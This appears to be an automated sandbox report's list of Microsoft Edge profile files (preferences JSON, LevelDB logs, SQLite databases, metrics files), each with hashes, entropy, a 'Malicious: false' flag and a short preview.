MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6747A904-229C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4514838389487959
Encrypted:	false
SSDEEP:	3072:lmbSMzlaSU0WJGPnn9jPkcZUMv6e0sp77QmbfUqEqOJAag1HFw9:WSMBLnn9LkcZZPzYmwqEqOJAaaHe9
MD5:	D8559C49CC38480C726F92342D8F8E29
SHA1:	8C791F6E7A88304E404DDFD9439D3B59F0813F95
SHA-256:	D62337E44B741F09C7645057750CA1F903581BE16734785F638748B25F787399
SHA-512:	2693E801E328120667DC342157DB6BD520E08FF25EE3A19046B6F775791D855364D4F1C5297BAC381257062BA05953BF0528135FD3D19E363ADEA0C9D6E28178
Malicious:	false
Preview:	...@..@...@.....C.].....@...............h...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".figysj20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................ .2.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\145c8c99-ab2c-4c71-a0de-c1a4f50989ff.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2a2ebe75-3a71-482d-a8cf-fcaf3bd6d33b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.560842470269438
Encrypted:	false
SSDEEP:	768:fvQ5ObWzi7pLGLPbxW5wImf4v18F1+UoAYDCx9Tuqh0VfUC9xbog/OVPiLmlIKnj:fIQbo6cPbxWaImfA1u1jazLmFTl0cgve
MD5:	8FA3A668DCD679D5A6439C621D6BCBAC
SHA1:	8EA782DE5429F10940929837517A0031D27945BF
SHA-256:	251658F66A9F16875BE69FC18692A89156D7F000BCC91E478476032008A04657
SHA-512:	FAC71AB71C88C07DCC92237B0A37C946303FF0088BACF34C0E47F8D2341A6B1F8DB1AC7B556C87B8F3502A2035708BEB78981F8694C8067014746998864A2FA4
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377223172426435","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377223172426435","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\353bc432-9dff-4a59-88fb-c4bdae3bfdca.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17639), with no line terminators
Category:	dropped
Size (bytes):	17641
Entropy (8bit):	5.485700843639673
Encrypted:	false
SSDEEP:	192:stuJ99QTryDiuabatSuypCs4VaFvrEwVyKSkPNsMG+KExYoC0g+82bV+FT3Qw8XA:stuPGQSu4Cs4VCDFUKGJ4Y0RbGTQwG3w
MD5:	F9183DB3314511C9F5AB8A73480F35D5
SHA1:	D1B3528DDBEA3BF0EFB301A5205D46022C92AF59
SHA-256:	736BE92551E5634B9B217772238F0F5579AC1BFF934C23A7F492B521E20A4250
SHA-512:	83C022BC107C8D7B44B4CDC26F687E6CD19963309C5535A04805816CD1507BE17C37BD0AB0974225896D6668DF9EF115CA3B52B3B93C4FF4BC17C0FDF680DFCF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377223172989648","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4c4b4622-2155-40af-b77f-e9365be15aca.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\53e6f0eb-7324-4f8f-8de3-c8fd4f9a4acc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9862
Entropy (8bit):	5.106424426144522
Encrypted:	false
SSDEEP:	192:stukdpCs4VaFvrE9k2M+82bV+FT3QAGUgPkYJ:stuQCs4VCDGbGTQAw
MD5:	51FE2790F906170ADDED7B7848E13EBC
SHA1:	A120BC35A3016A71284CC50632EC33FE4947DED9
SHA-256:	C02DC5813D84EECE8B133F60E6A089337AE4235704FE7318A62DD83EE82ECC67
SHA-512:	F30CACED7CE6B15EF600D4991353B30D9E7D8A57E591B338C736BD6DBA7EAAC75CE207D3D3944D48A86C98AF7D9E030712DFEF55205C08036BE6D10E1B7E4951
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377223172989648","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5544db03-3b2f-45a4-b564-e8678f3ee004.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17289), with no line terminators
Category:	dropped
Size (bytes):	17291
Entropy (8bit):	5.4908805557133356
Encrypted:	false
SSDEEP:	192:stuJ99QTryDiuabatSuypCs4VaFvrEwVyKSkPNsMG+KExYoC0t+82bV+FT3Qw8GH:stuPGQSu4Cs4VCDFUKGJ4Y0UbGTQwEw
MD5:	32ABFDE3072A4E2C2508B7280D3AD6A5
SHA1:	D63058A0FF8E990A630F494FE9B6472767FD84CB
SHA-256:	3E776B8DB7C006026959E30A391704AD352874F04C4C5493C519C471151BACBE
SHA-512:	6E762B7E19181DFDDB96468B6732DFD84055558C8A55D210B64CCDCAEE901F476A9F62C021722C6F3F6B05534F15037447B46C859F5AB062D4C93B76DAFD44A5
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377223172989648","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8c9db896-5f65-4bd7-b641-d05ee0e5aa82.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17474), with no line terminators
Category:	dropped
Size (bytes):	17476
Entropy (8bit):	5.489157569794275
Encrypted:	false
SSDEEP:	192:stuJ99QTryDiuabatSuypCs4VaFvrEwVyKSkPNsMG+KExYoC0g+82bV+FT3Qw8PH:stuPGQSu4Cs4VCDFUKGJ4Y0RbGTQwJw
MD5:	B1DA99A7B65F1DFD6B813F03062D5222
SHA1:	65B8A2DF955F9B60EECCA5607544A3F7719BDA04
SHA-256:	9AF70370F0B3BA906F4D7CD27D99531C193C434B28FC8AE2D6E03EBF9A714FFD
SHA-512:	2412E60761A87F4512117F7E4BACB91A242E3CCD7ED336184C44546F5F8825A738CDF0EC7A8FAE9F6A82C082E8B73060A5F03A7C2D9463DD6F0532B82495D611
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377223172989648","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.282090248420306
Encrypted:	false
SSDEEP:	6:HCzgmRadEq1N723oH+Tcwtp3hBtB2KLlVCzgD9q2PN723oH+Tcwtp3hBWsIFUv:4gmRaGaaYebp3dFLQgD9vVaYebp3eFUv
MD5:	B74E4B7B2D0B02144F7ACDF04DAFF010
SHA1:	7ECB2F97EEAA784D007F0170CD3F632215AFCD40
SHA-256:	72AEB6C8ADEB70EE4132ED332865F182765E36E27A2965FE474EC9EAD39AD584
SHA-512:	0D9B4FB9C992D1606CDDD6B5EFECDB3D23D7D9D9559CE167249B0571DF58C1EA5BAD7BB51B2D89F65235AD2E80BF9A9791E69F421F1D1A749A52249D76423E08
Malicious:	false
Preview:	2024/11/27-18:19:36.924 2360 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/27-18:19:36.970 2360 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222876968576182
Encrypted:	false
SSDEEP:	24576:IbPMZpVYfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVYfx2mjF
MD5:	2CE543AE19B7E2F45D9D6764995E279E
SHA1:	D484FE5D12F9DF33F0271899371BB232BBAE9982
SHA-256:	F08BD8CFCF353CED8391097C32FE34AF0B6ACBA2426CBBC90A1B1ED034CB1153
SHA-512:	6FE216DC5A4BDA190489DA1A43A354CCE3476F1EB1DE6AF69E870FDA443D9D3563C347285BAD1530C4F8E4E87A7DF2C82E3D8755C7C3E07163FBA740A50BC712
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.1619789553197
Encrypted:	false
SSDEEP:	6:HCzggBq2PN723oH+Tcwt9Eh1tIFUt8YCzgg92JZmw+YCzgKjDkwON723oH+TcwtY:4gUvVaYeb9Eh16FUt8RgAg/+RgK35Oaw
MD5:	6366D277B3557F301F1FD353AAB41A9B
SHA1:	6506A2B133144CC869322C8DFE8C36D119BD1BFB
SHA-256:	5CFC2F23F46CDA4F5049E2FB2B62FFF0787AA88819451C683352630080C9AD23
SHA-512:	AAEBE872BEB3201DCC5B502F1AF92C622E32576E73EB2350A05F598B37A742ED41363DA5AAABD35FE4157D9EFA5489C8EB8E4BF1E8A08B927BD33F23B62E8F67
Malicious:	false
Preview:	2024/11/27-18:19:36.767 a90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/27-18:19:36.769 a90 Recovering log #3.2024/11/27-18:19:36.779 a90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.1619789553197
Encrypted:	false
SSDEEP:	6:HCzggBq2PN723oH+Tcwt9Eh1tIFUt8YCzgg92JZmw+YCzgKjDkwON723oH+TcwtY:4gUvVaYeb9Eh16FUt8RgAg/+RgK35Oaw
MD5:	6366D277B3557F301F1FD353AAB41A9B
SHA1:	6506A2B133144CC869322C8DFE8C36D119BD1BFB
SHA-256:	5CFC2F23F46CDA4F5049E2FB2B62FFF0787AA88819451C683352630080C9AD23
SHA-512:	AAEBE872BEB3201DCC5B502F1AF92C622E32576E73EB2350A05F598B37A742ED41363DA5AAABD35FE4157D9EFA5489C8EB8E4BF1E8A08B927BD33F23B62E8F67
Malicious:	false
Preview:	2024/11/27-18:19:36.767 a90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/27-18:19:36.769 a90 Recovering log #3.2024/11/27-18:19:36.779 a90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4632039505100233
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu8R:TouQq3qh7z3bY2LNW9WMcUvBu8R
MD5:	B130DE893757EC48469C650CD4A41D8A
SHA1:	99FF99893C5C05C099609A4EA9341F1CF1FCFB95
SHA-256:	449159DBEB7C25164CE7643808018EADE93990266FC9EF17D18BD4BB7C1F56BE
SHA-512:	52743856480793E32F65DA87F3DA175E5C9884D044B6EAE65C2B0FF4CB59888F2BF41698CBF42DF0FB3F935757FA1E16D006D7D8396824792FC2A25C3D9D4A09
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.234551339103856
Encrypted:	false
SSDEEP:	6:HCz069Woq2PN723oH+TcwtnG2tMsIFUt8YCz06WF4FZZmw+YCz06WF4FzkwON725:4060ovVaYebn9GFUt8R06C0/+R06C05l
MD5:	36A39CEB435AE72FDC25B113E53070B7
SHA1:	33FA3507E509FD6353BA026B81568F43C521034E
SHA-256:	9FBF3C7380EE931547E7DBA581899B86D7934878A766D0A5C243120BFEF166F6
